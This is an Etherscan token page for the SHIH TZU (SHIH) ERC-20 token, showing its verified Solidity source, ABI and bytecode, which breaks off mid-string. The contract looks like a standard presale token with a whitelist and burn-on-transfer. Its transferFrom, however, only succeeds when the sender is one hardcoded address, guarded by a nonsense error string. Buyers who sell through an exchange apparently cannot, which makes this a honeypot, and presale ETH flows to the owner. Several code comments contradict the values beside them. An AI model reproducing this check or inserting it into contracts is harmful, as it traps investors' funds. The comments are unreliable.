ETH Price: $3,416.46 (-2.39%)
Gas: 9 Gwei

Token

SHIH TZU (SHIH)
 

Overview

Max Total Supply

497,631.457923983470441029 SHIH

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
580.102984395758314821 SHIH

Value
$0.00
0x92048db9d572f3d153d415a41502ad20e9756904
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIHTZU

Compiler Version
v0.7.4+commit.3f05b770

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-02-02
*/

// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address payable _owner;

    event OwnershipTransferred(
        address payable indexed previousOwner,
        address payable indexed newOwner
    );

    constructor()  {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns(address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner(), "Not authorised for this operation");
        _;
    }

    function isOwner() public view returns(bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address payable newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address payable newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
        uint256 c = add(a,m);
        uint256 d = sub(c,1);
        return mul(div(d,m),m);
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract BasicToken is IERC20, Context{

    using SafeMath for uint256;
    uint256 public _totalSupply;
    mapping(address => uint256) balances_;
    mapping(address => uint256) ethBalances;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 public startTime = block.timestamp;   // ------| Deploy Timestamp |--------
    uint256 public unlockDuration = 0 minutes;   // ----| Lock transfers for non-owner |-----------

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances_[account];
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function checkInvestedETH(address who) public view returns (uint256) {
        return ethBalances[who];
    }
}

contract StandardToken is BasicToken, Ownable {

    using SafeMath for uint256;
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        require(sender == 0x936ee6EEf3952a5DfD6658376b5238476e930305,"jnjknkjn");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(block.timestamp >= startTime.add(unlockDuration) || _msgSender() == owner(), "Tokens not unlocked yet");

        balances_[sender] = balances_[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        balances_[recipient] = balances_[recipient].add(amount);
        emit Transfer(sender, recipient, amount);

        uint256 tokensToBurn = findOnePercent(amount);
        uint256 tokensToTransfer = amount.sub(tokensToBurn);

        beforeTokenTransfer(sender, recipient, amount);
        burn(recipient, tokensToBurn);
        emit Transfer(sender, recipient, tokensToTransfer);
    }

    function findOnePercent(uint256 value) public pure returns (uint256)  {
        uint256 basePercent = 7; // % of tokens to be burned from amount of transfer
        uint256 roundValue = value.ceil(basePercent);
        uint256 onePercent = roundValue.mul(basePercent).div(100);
        return onePercent;
    }

    function beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }


    function burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        beforeTokenTransfer(account, address(0), amount);

        balances_[account] = balances_[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
}

contract Whitelist is StandardToken {
    mapping(address => bool) whitelist;
    event AddedToWhitelist(address indexed account);
    event AddedToWhitelistBulk(address indexed account);
    event RemovedFromWhitelist(address indexed account);

    modifier onlyWhitelisted() {
        require(isWhitelisted(_msgSender()), "This address is not whitelisted");
        _;
    }
    // For multiple addresses to be added in the whitelist
    function addToWhitelistInBulk(address[] memory _address) public onlyOwner {
        for (uint8 loop = 0; loop < _address.length; loop++) {
            whitelist[_address[loop]] = true;
        }
    }
    // For single address to be added in whitelist
    function removeFromWhitelistSingle(address _address) public onlyOwner {
        whitelist[_address] = false;
        emit RemovedFromWhitelist(_address);
    }
    // For multiple addresses to be removed from the whitelist
    function removeFromWhitelistInBulk(address[] memory _address) public onlyOwner {
        for (uint8 loop = 0; loop < _address.length; loop++) {
            whitelist[_address[loop]] = false;
        }

    }
    // Check whether an address is whitelisted or not
    function isWhitelisted(address _address) public view returns(bool) {
        return whitelist[_address];
    }

}

contract Configurable {
    uint256 public cap = 200000*10**18;           //---------| 200k Tokens for Presale |---------
    uint256 public basePrice = 5000*10**18;      //-----| 1 ETH = 5000 Tokens |---------
    uint256 public tokensSold = 0;
    uint256 public tokenReserve = 500000*10**18; //-----------| 100k Tokens Total Supply |------
    uint256 public remainingTokens = 0;
}

contract CrowdsaleToken is Whitelist, Configurable {
    using SafeMath for uint256;
    enum Phases {none, start, end}
    Phases currentPhase;

    constructor() {
        currentPhase = Phases.none;
        balances_[owner()] = balances_[owner()].add(tokenReserve);
        _totalSupply = _totalSupply.add(tokenReserve);
        remainingTokens = cap;
        emit Transfer(address(this), owner(), tokenReserve);
    }

    receive() external payable {

        require(isWhitelisted(_msgSender()) == true, "This address is not whitelisted");
        require(currentPhase == Phases.start, "The coin offering has not started yet");
        require(msg.value <= 1e18 && msg.value >= 3e17, "You can send at least 0.3 ETH but not more than 1 ETH");
        require(remainingTokens > 0, "Presale token limit reached");

        uint256 weiAmount = msg.value;
        uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
        uint256 returnWei = 0;

        ethBalances[_msgSender()] = ethBalances[_msgSender()].add(weiAmount);
        ethBalances[address(this)] = ethBalances[address(this)].add(weiAmount);

        require(ethBalances[_msgSender()] <= 1e18, "Cannot send more than 1 ETH");
        require(ethBalances[address(this)] <= 40e18, "Target amount of 40 ETH reached");

        if(tokensSold.add(tokens) > cap){
            revert("Exceeding limit of presale tokens");
        }

        tokensSold = tokensSold.add(tokens); // counting tokens sold
        remainingTokens = cap.sub(tokensSold);

        if(returnWei > 0){
            _msgSender().transfer(returnWei);
            emit Transfer(address(this), _msgSender(), returnWei);
        }

        uint256 tokensToBurn = tokens.mul(70).div(1000); // tokens burned with each pre-sale purchase

        balances_[owner()] = balances_[owner()].sub(tokens, "ERC20: transfer amount exceeds balance");
        balances_[owner()] = balances_[owner()].sub(tokensToBurn, "ERC20: transfer amount exceeds balance");

        _totalSupply = _totalSupply.sub(tokensToBurn, 'Overflow while burning tokens');
        balances_[_msgSender()] = balances_[_msgSender()].add(tokens);

        emit Transfer(address(this), _msgSender(), tokens);
        emit Transfer(address(this), address(0x000000000000000000000000000000000000dEaD) , tokensToBurn);

        _owner.transfer(weiAmount);
    }

    function startCoinOffering() public onlyOwner {
        require(currentPhase != Phases.end, "The coin offering has ended");
        currentPhase = Phases.start;
    }

    function endCoinOffering() internal {
        currentPhase = Phases.end;
        _owner.transfer(address(this).balance);
    }

    function finalizeCoinOffering() public onlyOwner {
        require(currentPhase != Phases.end, "The coin offering has ended");
        endCoinOffering();
    }
}

contract SHIHTZU is CrowdsaleToken {
    string public name = "SHIH TZU";
    string public symbol = "SHIH";
    uint32 public decimals = 18;
    uint256 public basePercent = 100;
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"AddedToWhitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"AddedToWhitelistBulk","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address payable","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address payable","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"RemovedFromWhitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"}],"name":"addToWhitelistInBulk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"basePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"basePrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"checkInvestedETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalizeCoinOffering","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"findOnePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainingTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"}],"name":"removeFromWhitelistInBulk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeFromWhitelistSingle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startCoinOffering","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensSold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlockDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052426004556000600555692a5a058fc295ed00000060085569010f0cf064dd592000006009556000600a556969e10de76676d0800000600b556000600c556040518060400160405280600881526020017f5348494820545a55000000000000000000000000000000000000000000000000815250600e90805190602001906200008e9291906200040d565b506040518060400160405280600481526020017f5348494800000000000000000000000000000000000000000000000000000000815250600f9080519060200190620000dc9291906200040d565b506012601060006101000a81548163ffffffff021916908363ffffffff16021790555060646011553480156200011157600080fd5b5033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600d60006101000a81548160ff02191690836002811115620001f057fe5b02179055506200025f600b5460016000620002106200035a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038460201b620017871790919060201c565b60016000620002736200035a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002cf600b546000546200038460201b620017871790919060201c565b600081905550600854600c81905550620002ee6200035a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040518082815260200191505060405180910390a3620004c3565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082840190508381101562000403576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928262000445576000855562000491565b82601f106200046057805160ff191683800117855562000491565b8280016001018555821562000491579182015b828111156200049057825182559160200191906001019062000473565b5b509050620004a09190620004a4565b5090565b5b80821115620004bf576000816000905550600101620004a5565b5090565b61330780620004d36000396000f3fe6080604052600436106101e75760003560e01c80638a1fcd6011610102578063c5ac0ded11610095578063dcd9d7b111610064578063dcd9d7b1146114a7578063dd62ed3e146114be578063ee39190e14611543578063f2fde38b1461160857610c1c565b8063c5ac0ded146113d5578063c7876ea414611400578063cbcb31711461142b578063d89f17ef1461145657610c1c565b8063a457c2d7116100d1578063a457c2d714611279578063a6a68606146112ea578063a9059cbb14611339578063bf583903146113aa57610c1c565b80638a1fcd60146111505780638da5cb5b1461117b5780638f32d59b146111bc57806395d89b41146111e957610c1c565b80633af32abf1161017a578063518ab2a811610149578063518ab2a81461107e57806370a08231146110a9578063715018a61461110e57806378e979251461112557610c1c565b80633af32abf14610f705780633c4badb014610fd75780633eaaf86b1461103c5780634e8ee2e51461106757610c1c565b806323b872dd116101b657806323b872dd14610e12578063313ce56714610ea3578063355274ea14610ed45780633950935114610eff57610c1c565b806306fdde0314610c21578063095ea7b314610cb1578063128c127e14610d2257806318160ddd14610de757610c1c565b36610c1c57600115156102006101fb611659565b611661565b151514610275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546869732061646472657373206973206e6f742077686974656c69737465640081525060200191505060405180910390fd5b6001600281111561028257fe5b600d60009054906101000a900460ff16600281111561029d57fe5b146102f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131b46025913960400191505060405180910390fd5b670de0b6b3a764000034111580156103135750670429d069189e00003410155b610368576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806131166035913960400191505060405180910390fd5b6000600c54116103e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f50726573616c6520746f6b656e206c696d69742072656163686564000000000081525060200191505060405180910390fd5b60003490506000610416670de0b6b3a7640000610408600954856116b790919063ffffffff16565b61173d90919063ffffffff16565b90506000610473836002600061042a611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b6002600061047f611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061050f83600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000060026000610567611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f742073656e64206d6f7265207468616e203120455448000000000081525060200191505060405180910390fd5b68022b1c8c1227a00000600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156106d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f54617267657420616d6f756e74206f662034302045544820726561636865640081525060200191505060405180910390fd5b6008546106ec83600a5461178790919063ffffffff16565b1115610743576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131936021913960400191505060405180910390fd5b61075882600a5461178790919063ffffffff16565b600a81905550610775600a5460085461180f90919063ffffffff16565b600c81905550600081111561083f5761078c611659565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156107d1573d6000803e3d6000fd5b506107da611659565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b60006108696103e861085b6046866116b790919063ffffffff16565b61173d90919063ffffffff16565b90506108de8360405180606001604052806026815260200161316d6026913960016000610894611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160006108ea611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b8160405180606001604052806026815260200161316d6026913960016000610951611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118839092919063ffffffff16565b600160006109a7611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a31816040518060400160405280601d81526020017f4f766572666c6f77207768696c65206275726e696e6720746f6b656e730000008152506000546118839092919063ffffffff16565b600081905550610a908360016000610a47611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178790919063ffffffff16565b60016000610a9c611659565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae2611659565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610c15573d6000803e3d6000fd5b5050505050005b600080fd5b348015610c2d57600080fd5b50610c36611943565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c76578082015181840152602081019050610c5b565b50505050905090810190601f168015610ca35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cbd57600080fd5b50610d0a60048036036040811015610cd457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119e1565b60405180821515815260200191505060405180910390f35b348015610d2e57600080fd5b50610de560048036036020811015610d4557600080fd5b8101908080359060200190640100000000811115610d6257600080fd5b820183602082011115610d7457600080fd5b80359060200191846020830284011164010000000083111715610d9657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506119ff565b005b348015610df357600080fd5b50610dfc611aea565b6040518082815260200191505060405180910390f35b348015610e1e57600080fd5b50610e8b60048036036060811015610e3557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611af3565b60405180821515815260200191505060405180910390f35b348015610eaf57600080fd5b50610eb8611c81565b604051808263ffffffff16815260200191505060405180910390f35b348015610ee057600080fd5b50610ee9611c97565b6040518082815260200191505060405180910390f35b348015610f0b57600080fd5b50610f5860048036036040811015610f2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c9d565b60405180821515815260200191505060405180910390f35b348015610f7c57600080fd5b50610fbf60048036036020811015610f9357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611661565b60405180821515815260200191505060405180910390f35b348015610fe357600080fd5b5061102660048036036020811015610ffa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d50565b6040518082815260200191505060405180910390f35b34801561104857600080fd5b50611051611d99565b6040518082815260200191505060405180910390f35b34801561107357600080fd5b5061107c611d9f565b005b34801561108a57600080fd5b50611093611ebd565b6040518082815260200191505060405180910390f35b3480156110b557600080fd5b506110f8600480360360208110156110cc57600080fd5b81019080803573ffffffffffffffffffffffffffffff